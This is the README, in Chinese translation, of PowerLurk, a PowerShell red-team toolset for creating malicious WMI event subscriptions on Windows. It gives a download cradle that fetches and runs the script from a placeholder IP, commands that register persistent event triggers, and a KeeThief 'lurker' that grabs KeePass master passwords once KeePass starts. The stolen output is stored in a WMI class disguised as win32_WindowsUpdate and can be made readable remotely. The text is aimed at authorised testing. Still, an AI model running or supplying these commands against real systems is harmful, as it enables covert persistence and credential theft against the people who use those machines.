PowerLurk 是一个用于构建恶意 WMI 事件订阅的 PowerShell 工具集。其目标是在渗透测试或红队行动期间更轻松地触发 WMI 事件。更多详细信息请参阅我的文章 利用 WMI 事件监控用户:PowerLurk 介绍:https://pentestarmoury.com/2016/07/13/151/
要使用 PowerLurk,您需要将 PowerLurk.ps1 模块导入到您的 PowerShell 实例中。可以通过以下几种方式完成:
本地导入
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
下载 Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
默认情况下,Get-WmiEvent 查询 WMI 中所有的 __FilterToConsumerBinding 实例及关联的 __EventFilter 和 __EventConsumer 实例。返回的对象可以通过管道传递给 Remove-WmiObject 进行删除。
返回所有名称为 'RedTeamEvent' 的活动 WMI 事件对象
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox 删除 'RedTeamEvent' WMI 事件对象
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
该 cmdlet 是 PowerLurk 的核心。它将命令、脚本或脚本块作为操作,预置的触发器作为触发条件,然后创建实现完整永久性 WMI 事件订阅所需的 WMI 筛选器、消费者和 FilterToConsumerBinding。多个 WMI 事件触发器(筛选器)已预先配置。必须使用 -Trigger 参数指定触发器。提供了三种消费者可供选择:PermanentCommand、PermanentScript 和 LocalScriptBLock。用法示例:
每当 notepad.exe 启动时,将其进程 ID 写入 C:\temp\log.txt
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
清除恶意 WMI 事件
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
创建一个永久性 WMI 事件,该事件会在 'keepass' 进程启动后 4 分钟执行 KeeThief(参见 @Harmj0y 的 KeeThief:https://github.com/adaptivethreat/KeeThief)。这给目标留出时间登录其 KeePass 数据库。
KeeThief 逻辑及其输出存储在自定义的 WMI 命名空间和类中,或者注册表值中。如果选择自定义 WMI 命名空间和类,您可以选择公开该命名空间,以便 'Everyone' 可以远程读取。注册表路径和值名称可使用相关开关自定义,但这是可选的,因为已设置默认值。用法示例:
使用 WMI 类存储添加 KeeThiefLurker 事件
Add-KeeThiefLurker -EventName KeeThief -WMI
查询自定义 WMI 类
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
从 WMI 类中提取 KeeThief 输出
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
清除 KeeThiefLurker
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x